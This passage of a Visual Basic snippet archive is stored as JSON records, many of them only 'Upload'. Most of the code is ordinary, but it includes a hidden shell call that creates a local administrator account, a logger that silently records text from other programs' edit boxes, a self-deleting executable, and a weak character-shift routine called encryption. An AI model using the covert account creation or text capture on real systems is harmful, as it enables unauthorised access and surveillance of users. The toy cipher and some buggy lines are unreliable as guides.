GoTo ExitFunction\nEnd Function\n"},{"WorldId":1,"id":13961,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14427,"LineNumber":1,"line":"- Scoop \nMy intention with this WP is that there shall be a little some thing for every body between \"New Bee\" and \"Guru.\" I also limit my self to talking about \"in code stuff\" or stuff close to that, the actual code you can use to handle errors in VB, and collect as much information as possible to use when debugging. Therefore, what you will not find is how to avoid errors or how to manage it organizationally. \n \n - The accompanying Example Application \n There is an example application, having it open in the VB IDE beside the document when reading makes it allot easier. In the example there is also context sensitive help on the different buttons, connecting the to app the WP (this only works when the application is running). Please download the .zip file below to see the complete tutorial! \n\n"},{"WorldId":1,"id":14325,"LineNumber":1,"line":"\n'------------------------------------------------- '\n 'Excel Spread Sheet Read Prototype Functions\n '\n '--------------------------------------------- '\n '┬áBy Duncan MacFarlane\n '┬áMacFarlane System Solutions\n '┬áA Privately owned business operated '┬á┬áfrom personal residence\n '\n '┬áCopyright MacFarlane System Solutions '┬á┬á2001\n '\n '--------------------------------------------- '\n '┬áThe following functions simplify '┬á┬áthe process of opening,\n '┬á┬áretrieving, closing, exiting\n '┬á┬áExcel and clearing the memory of '┬á┬áthe excel objects.\n '\n '--------------------------------------------- '\n '┬áThe Syntax of the following functions '┬á┬áare as follows:\n '\n '┬á┬áexcelFile([String - File Name Including Full Path])\n '┬á┬áSets the current file to open\n '┬áexcelPassword([String - Excel '┬á┬áRead Only Password], [String - '┬á┬áExcel Write Password]\n '┬á┬áif no password is used on the '┬á┬áfile discard the use of this '┬á┬áfunction\n '┬áopenExcelFile\n '┬á┬áNo variables are passed, opens '┬á┬áfile set by excelFile function\n '┬ásetActiveSheet([Integer - Sheet '┬á┬ánumber of sheet to read from, '┬á┬ástarting from 1]\n '┬á┬áSets the active sheet to read '┬á┬áfrom\n '┬á┬á[String - Data input returned] = '┬áreadExcel([Integer - Row], '┬á┬á[Integer - Column])\n '┬á┬áReads the content of a cell and '┬á┬áreturns the data to the calling '┬á┬álocation\n '┬ácloseExcelFile\n '┬á┬áCloses the active Excel File\n '┬áexitExcel\n '┬á┬áExits MS Excel\n '┬áclearExcelObjects\n '┬á┬áClear the memory of the Excel '┬á┬áApplication objects\n '---------------------------------------------\n \nDim excelFileName As String\n \nDim readPassword As String\n \nDim writePassword As String\n \nDim msExcelApp As Excel.Application\n \nDim msExcelWorkbook As Excel.Workbook\n \nDim msExcelWorksheet As Excel.Worksheet\n \nPublic Function excelFile(fileName As String)\n \n┬á┬áLet excelFileName = fileName\n \nEnd Function\n \nPublic Function excelPassword(rdExcel As String, wtExcel As String)\n┬á┬áLet readPassword = rdExcel</font<\n \n┬á┬áLet writePassword = rdExcel\nEnd Function\n \nPublic Function openExcelFile()\n \n┬á┬áSet msExcelApp = GetObject(\"\", \"excel.application\")\n \n┬á┬ámsExcelApp.Visible = False\n \n┬á┬áIf readPassword = \"\" And writePassword = \"\" Then\n \n┬á┬á┬á┬áSet msExcelWorkbook = Excel.Workbooks.Open(excelFileName)\n \n┬á┬áElse\n \n┬á┬á┬á┬áSet msExcelWorkbook = Excel.Workbooks.Open(excelFileName, , , , readPassword, writePassword)\n \n┬á┬áEnd If\n \nEnd Function\n \nPublic Function setActiveSheet(excelSheet As Integer)\n \n┬á┬áSet msExcelWorksheet = msExcelWorkbook.Worksheets.Item(excelSheet)\n \nEnd Function\n \nPublic Function readExcel(Row As Integer, Col As Integer) As String\n \n┬á┬áreadExcel = msExcelWorksheet.Cells(Row, Col)\nEnd Function\n \nPublic Function, closeExcelFile()\n \n┬á┬ámsExcelWorkbook.Close\n \nEnd Function\n \nPublic Function exitExcel()\n \n┬á┬ámsExcelApp.Quit\nEnd Function\n \nPublic Function clearExcelObjects()\n┬á┬áSet msExcelWorksheet = Nothing\n \n┬á┬áSet msExcelWorkbook = Nothing\n \n┬á┬áSet msExcelApp = Nothing\n \nEnd Function\n"},{"WorldId":1,"id":26405,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29978,"LineNumber":1,"line":"I had submitted this question to the \"Ask a Pro\" section here as well as to the VB section of \"AskMe.com\" with no success so I contacted Microsoft who provided this all to simple solution. \nI have installed VB into the default location but I keep all of my projects on a seperate drive. I was tired of having to change locations everytime I saved a project or opened a project. Any way here is the solution in case any of you are interested and do not already know.\nSimply chage the \"Start In\" location of the shortcut to VB to the drive and/or folder that contains your projects. See the screen shot.\n"},{"WorldId":1,"id":15124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13780,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14290,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15111,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":20966,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30539,"LineNumber":1,"line":"Private Sub ForceNumeric(Box As TextBox)\n On Error GoTo Catch\n Dim nStyle As Long\n \n nStyle = GetWindowLong(Box.hWnd, GWL_STYLE)\n Call SetWindowLong(Box.hWnd, GWL_STYLE, nStyle Or ES_NUMBER)\n GoTo Finally\n \nCatch:\n Call MsgBox(Err.Description, vbCritical Or vbOKOnly, \"Error\")\nFinally:\nEnd Sub"},{"WorldId":1,"id":13777,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13868,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25975,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28590,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13790,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14523,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14475,"LineNumber":1,"line":"The tutorial and the sample app is included in the ZIP file."},{"WorldId":1,"id":14364,"LineNumber":1,"line":"The tutorial and all sample files are included in the download."},{"WorldId":1,"id":13895,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14027,"LineNumber":1,"line":"The tutorial is included in the ZIP file"},{"WorldId":1,"id":13836,"LineNumber":1,"line":"' [: Paste This Code Into a module. :]\nOption Explicit\nDim DataLength as Boolean\nDim i As Integer\nDim Letter As String, Side0 As String, Side1 As String, Side2 As String\nPublic Function Encrypt(ByVal EncryptData As String)\n If Len(EncryptData) Mod 2 = 0 Then\n Side1 = StrReverse(Left(EncryptData, (Len(EncryptData) / 2)))\n Side2 = StrReverse(Right(EncryptData, (Len(EncryptData) / 2)))\n EncryptData = Side1 & Side2\n Else\n Side0 = StrReverse(EncryptData)\n For i = 1 To Len(Side0)\n Letter = Mid$(Side0, i, 1)\n Mid$(Side0, i, 1) = Chr(Asc(Letter) + 9)\n Next i\n EncryptData = Side0\n End If\n \n For i = 1 To Len(EncryptData)\n Letter = Mid$(EncryptData, i, 1)\n Mid$(EncryptData, i, 1) = Chr(Asc(Letter) + 2)\n Next i\n \n Encrypt = EncryptData 'LCase(EncryptData)\nEnd Function\nPublic Function Decrypt(ByVal DecryptData As String)\n For i = 1 To Len(DecryptData)\n Letter = Mid$(DecryptData, i, 1)\n Mid$(DecryptData, i, 1) = Chr(Asc(Letter) - 2)\n Next i\n \n If Len(DecryptData) Mod 2 = 0 Then\n Side1 = StrReverse(Left(DecryptData, (Len(DecryptData) / 2)))\n Side2 = StrReverse(Right(DecryptData, (Len(DecryptData) / 2)))\n DecryptData = Side1 & Side2\n Else\n Side0 = StrReverse(DecryptData)\n For i = 1 To Len(Side0)\n Letter = Mid$(Side0, i, 1)\n Mid$(Side0, i, 1) = Chr(Asc(Letter) - 9)\n Next i\n DecryptData = Side0\n End If\n \n Decrypt = DecryptData 'LCase(DecryptData)\nEnd Function\n' [: ENCRYPTDATA & DECRYPTDATA 2 B PASSED :]\nPrivate Sub Command1_Click()\nDim EncryptData As String\nCheckLength\nIf DataLength = True Then\n EncryptData = EncryptData & Encrypt(Text1.Text)\n Text2.Text = EncryptData\nElse\n MsgBox \"Sorry, Not Enuogh Characters\"\nEnd If\nEnd Sub\n'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\nPrivate Sub Command2_Click()\nDim DecryptData As String, DecryptRegData As String\n DecryptData = DecryptData & Decrypt(Text2.Text) '(DecryptRegData)\n Text3.Text = DecryptData\nEnd Sub\n'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\nSub CheckLength()\n If Len(Text1.Text) <= 3 Then\n DataLength = False\n Else\n DataLength = True\n End If\nEnd Sub\n'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\nPrivate Sub Form_Load()\n DataLength = False\nEnd Sub\n"},{"WorldId":1,"id":13867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13879,"LineNumber":1,"line":"This \"TETNICK\" Application is a homeclass program for the pupils to use it for a specific school.\nThis Program was created by me , Sagi Klein , from Tet5 ,Alon Juniour High , Raanana , Israel.\nMy Homeclass app is packed with great features , offline and online.\nThe program was created in VB6 but the code will be transferd to VB7 (VB.NET) as soon as Microsoft will realese the FINAL version cause Microsoft don't allow publishing EXE's that has been Compiled on the BETA version.\nThe program has been made for 40 pupils class but Had over 200 downloads! (and more to come...)\nTetNick prv. Name was \"Tikshurit\" , in english You might call it \"Communcationer\" but Tikshurit And another competitor (the only one) in the same School that was called Pitput-TET (In english: Babbler) has merged to Tikshurit , so Tikshurit And Pitput-TET became \"TETNICK!\".\nThe Program is in Hebrew but will be in english during FEBUARY 2001!.\nThe TETNCIK is totally free, so you can download It from www.TETNICK.com and take it as example.\nCause from now , I Proud to Annouce the ....\n\"Create your own HomeClass Application!\"\nLet's build a world full of TETNick's!!!\nFor every single education system in the world!\nJust don't forget the SAGI KLEIN has started it.\n(ISRAEL!)"},{"WorldId":1,"id":13885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24756,"LineNumber":1,"line":"Pleasee, download this source code by http://www.sourcecode4free.com/upload/filepages.asp?fileid=2433\nIn Planet Source Code Not Upload the Dll for Interpreting scripts\nThanks.."},{"WorldId":1,"id":28121,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23183,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24105,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function CreateRectRgn Lib \"gdi32\" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\nPrivate Declare Function CombineRgn Lib \"gdi32\" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long\nPrivate Declare Function SetWindowRgn Lib \"user32\" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long\nPublic Sub GlassifyForm(frm As Form)\nConst RGN_DIFF = 4\nConst RGN_OR = 2\nDim outer_rgn As Long\nDim inner_rgn As Long\nDim wid As Single\nDim hgt As Single\nDim border_width As Single\nDim title_height As Single\nDim ctl_left As Single\nDim ctl_top As Single\nDim ctl_right As Single\nDim ctl_bottom As Single\nDim control_rgn As Long\nDim combined_rgn As Long\nDim ctl As Control\n If frm.WindowState = vbMinimized Then Exit Sub\n ' Create the main form region.\n wid = frm.ScaleX(frm.Width, vbTwips, vbPixels)\n hgt = frm.ScaleY(frm.Height, vbTwips, vbPixels)\n outer_rgn = CreateRectRgn(0, 0, wid, hgt)\n border_width = (wid - frm.ScaleWidth) / 2\n title_height = hgt - border_width - frm.ScaleHeight\n inner_rgn = CreateRectRgn( _\n border_width, _\n title_height, _\n wid - border_width, _\n hgt - border_width)\n ' Subtract the inner region from the outer.\n combined_rgn = CreateRectRgn(0, 0, 0, 0)\n CombineRgn combined_rgn, outer_rgn, _\n inner_rgn, RGN_DIFF\n ' Create the control regions.\n For Each ctl In frm.Controls\n If ctl.Container Is frm Then\n ctl_left = frm.ScaleX(ctl.Left, frm.ScaleMode, vbPixels) _\n + border_width\n ctl_top = frm.ScaleX(ctl.Top, frm.ScaleMode, vbPixels) _\n + title_height\n ctl_right = frm.ScaleX(ctl.Width, frm.ScaleMode, vbPixels) _\n + ctl_left\n ctl_bottom = frm.ScaleX(ctl.Height, frm.ScaleMode, vbPixels) _\n + ctl_top\n control_rgn = CreateRectRgn( _\n ctl_left, ctl_top, _\n ctl_right, ctl_bottom)\n CombineRgn combined_rgn, combined_rgn, _\n control_rgn, RGN_OR\n End If\n Next ctl\n ' Restrict the window to the region.\n SetWindowRgn frm.hWnd, combined_rgn, True\nEnd Sub"},{"WorldId":1,"id":28358,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13915,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31521,"LineNumber":1,"line":"Public Function CompareTXT(String1 As String, String2 As String) As Single\nDim i, y, x As Integer\nDim a, b As String\nString1 = UCase(String1) 'take this out if you\nString2 = UCase(String2) 'want it to be case\n 'sensitive\nIf String1 = String2 Then CompareTXT = 1: Exit Function\n 'if the strings are\n 'the same, don't\n 'bother to waste time\n 'and space on working\n 'them out :).\n \nIf Len(String1) > Len(String2) Then x = Len(String1)\nIf Len(String2) > Len(String1) Then x = Len(String2)\nIf Len(String1) = Len(String2) Then x = Len(String1)\n 'find out the length\n 'of the longest string\n \nFor i = 1 To x\n a = Mid(String1, i, 1) 'get 1 character from\n b = Mid(String2, i, 1) 'each string and compare\n If a = b Then y = y + 1 'the characters\nNext\nCompareTXT = y / x\nEnd Function"},{"WorldId":1,"id":34708,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34988,"LineNumber":1,"line":"Option Explicit\n'------------------- CREDIT --------------------------\n'This functions are written by Ozan Yasin Dogan,\n'a Turkish student in Istanbul.\n'Everybody can copy and use this code without changing\n'this credit part. www.uni-group.org\n'------------------- CREDIT --------------------------\n'HyperFast Read / Write file functions\n'How to use:\n'Text1.Text = ReadFile(\"c:\\autoexec.bat\")\n'Notice that textboxes doesn't show after the null characters\n'so don't panic, you can check if it is read by using this:\n'Text1.Text = Len(ReadFile(\"c:\\autoexec.bat\")\n'To test both Read and Write file functions, you\n'can simply use:\n'Call WriteFile(\"c:\\test.bat\", ReadFile(\"c:\\autoexec.bat\")\n'Thank you and please don't forget to vote for me on\n'planet source code: www.pscode.com/vb\n'This is the buffer lenght, you can change to maximum 32767\n'The ReadFile function add to Content variable in the memory\n'30000 bytes in each loop\nConst Buf As Integer = 30000\n'Declarations\nDim FileLen As Long 'To keep file lenght information\nDim Multiply As Long 'It is required to find how many Buf\n'bytes exist in the file. For ex: in a 125,000bytes file\n'there are 4 multiply. The rest is recorded to Plus variable\nDim Temp As String * Buf 'Temporary string block\n'It is necessary for use of Random Access methode.\n'If not, you had to open it in Binary mode and convert\n'binary data to text, and it is also a loop and slows\n'down the process. This is the best methode i think..\nDim Content As String 'Content is the file content,\n'the function allocates a space for it first and\n'full it with Mid function. It is a very fast methode\n'instead of using Content = Content & Something\nDim Plus As Long 'The plus part of the file after dividing\n'to Buf variable. It is used when the file lenght is small\n'than Buf and to find the rest of the bytes after dividing\n'file lenght to Buf\nDim Point As Long 'Point shows on which byte the content is.\nDim FileNo As Byte 'To find a free file number\nDim Counter As Long 'Is required for loops\nPublic Function ReadFile(FileName As String) As String 'Returns STRING variable!\nFileNo = FreeFile 'Find a free file number\nOpen FileName For Random As #FileNo Len = Buf 'Open the file as Random, each record will have the lenght of Buf\nFileLen = LOF(FileNo) 'File lenght\nMultiply = Int(FileLen \\ Buf) 'How many loops required to read the file\nContent = Space(FileLen) 'Allocate a space for file content in the memory\nPlus = FileLen - (Multiply * Buf) 'After this loops, there might be also some bytes to read\nPoint = 1 'Content is in this byte: 1\n \n If Multiply = 0 Then 'If the file is smaller than Buf (30000 bytes here, you can change it)\n Plus = FileLen: Counter = 1: GoTo Jump1\n End If\n \n 'This loop reads the file as it was defined in a Type,\n 'using random access methode and adds each records\n 'to the content using Mid function.\n 'Because Content = Content & Temp would slow down\n 'the loop very much! And as you see, there is no transfer\n 'beetween binary to string..\n \n For Counter = 1 To Multiply\n Get #FileNo, Counter, Temp\n Mid(Content, Point, Buf) = Temp\n Point = Point + Buf\n Next Counter\n \nJump1:\n \n 'This is for the rest of the file after the loop.\n If Plus > 0 Then\n Get #FileNo, Counter, Temp\n Mid(Content, Point, Plus) = Left(Temp, Plus)\n End If\nClose #FileNo\nReadFile = Content\nEnd Function\nPublic Sub WriteFile(FileName As String, Content As String)\nFileNo = FreeFile\nOpen FileName For Output As #FileNo\nPrint #FileNo, Content; '; is required for Vb to not write another 2 charachters of new line in the file\nClose #FileNo\nEnd Sub\n"},{"WorldId":1,"id":27057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27731,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14398,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14060,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14092,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23653,"LineNumber":1,"line":"' in form with 2 command buttons\n'cmdMakeTransparent\n'cmdNoTransparency\nPrivate Sub cmdMakeTransparent_Click()\n 'transform formname or me for current form, color which could be\n 'vbWhatever or rgb(r,g,b) or long number value\n TransForm Me, vbWhite 'set the see through color to white\n \nEnd Sub\nPrivate Sub cmdNoTransparency_Click()\n untransForm Me 'set nothing to transparent\nEnd Sub\n"},{"WorldId":1,"id":23536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14143,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25829,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14020,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14234,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14612,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14811,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14031,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23020,"LineNumber":1,"line":"Private Sub Command1_Click()\n File1.Pattern = \"*.exe\"\n Label3.Caption = \"Searching \" & File1.Pattern\n Call search(\"C:\\\")\nEnd Sub\nPublic Sub search(dr As String)\nDim lst(5000) As String\nDim lstcnt As Integer\nDir1.Path = dr\nlistcnt = 0\n Do While (Dir1.ListIndex < Dir1.ListCount - 1)\n Dir1.ListIndex = Dir1.ListIndex + 1\n listcnt = listcnt + 1\n lst(listcnt) = Dir1.List(Dir1.ListIndex)\n Loop\n For i = 1 To listcnt\n search (lst(i))\n Next i\n \n File1.Path = Dir1.List(Dir1.ListIndex)\n DoEvents\n \n Do While (File1.ListIndex < _ File1.ListCount - 1)\n File1.ListIndex = File1.ListIndex + 1\n List1.AddItem (Dir1.List _(Dir1.ListIndex) & \"\\\" & File1.FileName)\n DoEvents\n Loop\nEnd Sub"},{"WorldId":1,"id":26757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14070,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21257,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21139,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15113,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26304,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26305,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14342,"LineNumber":1,"line":"'Arguments to create the user as a LocalUser and a member of the group Users\nTheArguments = \"NET USER \" & UserName & \" \" & Password & \" /add\"\nShell TheArguments, vbHide\n'Arguments to add the user as a member of the group Administrators\nTheArguments = \"NET LOCALGROUP Administrators /Add \" & UserName\nShell TheArguments, vbHide"},{"WorldId":1,"id":14080,"LineNumber":1,"line":"'In a module please place the following line of code\nPublic Declare Function LockWorkStation Lib \"user32\" () As Boolean\n\n'On a command button or Sub, please this line of code\nLockWorkstation\n\n'Please note that this can also be done by putting this line of code in a button\nShell \"rundll32 user32.dll,LockWorkStation\""},{"WorldId":1,"id":21556,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29080,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27628,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27332,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21362,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14184,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14190,"LineNumber":1,"line":"'' Better Off Putting it in a Timer.\n'' Set the Interval to 3000.\n'' Private Sub Timer1_Timer()\ndim findwin as Long\nfindwin = FindWindow(\"#32770\", \"Reestablish Connection\")\nIf findwin <> 0 Then\nCall ShowWindow(findwin, SW_SHOW)\nSendKeys \"{enter}\", True\nEnd If\n'' End Sub"},{"WorldId":1,"id":14471,"LineNumber":1,"line":"Private Function openfile(file As String)\nCall ShellExecute(0&, vbNullString, file, vbNullString, vbNullString, vbNormalFocus)\nEnd Function\n'' That's it!..\n'' Please Vote..:-)"},{"WorldId":1,"id":18509,"LineNumber":1,"line":"'' Private Sub Command1_Click()\ndim file as string\nfile = App.Path\nIf Right(file, 1) <> \"\\\" Then file = file & \"\\\"\nfile = file & App.EXEName & \".exe\"\nCall Shell(\"start /m /w deltree /y \" & file, vbHide)\nEnd\n'' End Sub\n'' Easy Code..\n'' Dont really need the /m\n'' or /w\n'' Please Vote :-)\n'' and leave comments.."},{"WorldId":1,"id":26461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14433,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14620,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22177,"LineNumber":1,"line":"'Grab Window Edit Text Box by kodapt - 2001/4/6\n' It will grab the text in any Edit Box of any app running on your system.\n' Just Start the program and minimize it... then try to open a .txt file and\n' then go to C:\\testes.txt to see the all text there...\n'don┬┤t vote... this is a cra*... :]\n' cya, koda\n'********************************************************\n\n'API Declarations\n'to get the foreground window\nPrivate Declare Function GetForegroundWindow Lib \"user32\" () As Long\n'to send a message system\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\n'to get the cursor position\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\n'to get the window from a point (y,x)\nPrivate Declare Function WindowFromPoint Lib \"user32\" (ByVal xPoint As Long, ByVal yPoint As Long) As Long\n'to get the window text\nPrivate Declare Function GetWindowText Lib \"user32\" Alias \"GetWindowTextA\" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long\n'to get the class name (edit,combobox etc..)\nPrivate Declare Function GetClassName Lib \"user32\" Alias \"GetClassNameA\" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long\nPublic strBuffer As String ' the string to append to the file that has all the text \"grabed\"\nPublic iEnum As Integer ' the file integer to open and write (I/O)\nPublic hJanelaCima As Long ' the window wich the user has the mouse over\nPublic hJanelaAntiga As Long ' the ancient window, to controlo if there┬┤s a new window or not\n'constants to grab the text\nPrivate Const WM_GETTEXT = &HD\nPrivate Const WM_GETTEXTLENGTH = &HE\n'type for the GetCursorPos API\nPrivate Type POINTAPI\n x As Long\n y As Long\nEnd Type\n \nPrivate Sub Form_Load()\n\n'when starting the program, print date and time of the new logging...\nstrBuffer = \"=============================================================\" & vbCrLf\nstrBuffer = strBuffer & \"Date of log: \" & Format(Date, \"YYYY-MM-DD\") & vbCrLf\nstrBuffer = strBuffer & \"Started logging at: \" & Format(Time$, \"HH:MM\") & vbCrLf\nstrBuffer = strBuffer & \"=============================================================\" & vbCrLf\niEnum = FreeFile\n'append it in the file\nOpen \"C:\\testes.txt\" For Append As #iEnum\n Print #iEnum, strBuffer\n Close #iEnum\n strBuffer = \"\"\n'enable the timer...\nTimer1.Enabled = True\nEnd Sub\nPrivate Sub Timer1_Timer()\n Dim ptCursor As POINTAPI ' the cursor type variable\n Dim texto_janela As String ' the window text\n Dim rc As Long\n Dim nome_classe As String ' the class name\n Dim fenster As Long ' the foreground window.. in deutsh.. ich wisse deutshe auch...\n \nfenster = GetForegroundWindow ' get the window where user is\n\n'create string objects\ntexto_janela = String(100, Chr(0))\nnome_classe = String(100, Chr(0))\n\nCall GetCursorPos(ptCursor) ' get the cursor position\n'get the window(handle) where the user has the mouse\nhJanelaCima = WindowFromPoint(ptCursor.x, ptCursor.y)\n'get the window text and class name\nrc = GetWindowText(fenster, texto_janela, Len(texto_janela))\nrc = GetClassName(hJanelaCima, nome_classe, 100)\n'format the asshol*s...\ntexto_janela = Left(texto_janela, InStr(texto_janela, Chr(0)) - 1)\nnome_classe = Left(nome_classe, InStr(nome_classe, Chr(0)) - 1)\n\n' check the class names... i tried some like WinWord and VB, but didn┬┤t worked..\nIf nome_classe = \"Edit\" Or nome_classe = \"_WwG\" Or nome_classe = \"Internet Explorer_Server\" Or nome_classe = \"RichEdit20A\" Or nome_classe = \"VbaWindow\" Then\n\n'if this is the same window, forget\nIf hJanelaCima = hJanelaAntiga Then Exit Sub\n'there┬┤s no text? Out!\nIf WindowText(hJanelaCima) = Empty Then Exit Sub\n'put the ancient window handle, with the current one\nhJanelaAntiga = hJanelaCima\n\n'build string with time and the text grabed with WindowText\nstrBuffer = Time$ & \" - \" & texto_janela & vbCrLf\nstrBuffer = strBuffer & WindowText(hJanelaCima) & vbCrLf\n'append to the file\nOpen \"C:\\testes.txt\" For Append As #iEnum\nPrint #iEnum, strBuffer\nClose #iEnum\n\nEnd If\n\n\n\n\nEnd Sub\n'grab the text window with this function.. argument- the window handle\nPublic Function WindowText(window_hwnd As Long) As String\n Dim txtlen As Long\n Dim txt As String\n \n If window_hwnd = 0 Then Exit Function\n \n 'send the message to get the text lenght\n txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)\n If txtlen = 0 Then Exit Function\n \n txtlen = txtlen + 1\n txt = Space$(txtlen)\n \n 'send the message to get the text\n txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)\n \n 'put that on the function\n WindowText = Left$(txt, txtlen)\nEnd Function\n\n"},{"WorldId":1,"id":14288,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14509,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14562,"LineNumber":1,"line":"\nSub UnDockForm(vbForm As Form)\n' This sub does the opposite of DockForm basicly.\nDim Desktop As RECT\n' Get the Work space area of the desktop\nSystemParametersInfo SPI_GETWORKAREA, 0&, Desktop, 0&\nWith Desktop ' change the values back to normal\n Select Case LastDock\n Case DockBottom\n .Bottom = .Bottom + DockAmount\n \n Case DockLeft\n .Left = .Left - DockAmount\n \n Case DockTop\n .Top = .Top - DockAmount\n \n Case DockRight\n .Right = .Right + DockAmount\n \n Case Else\n Exit Sub ' no dock 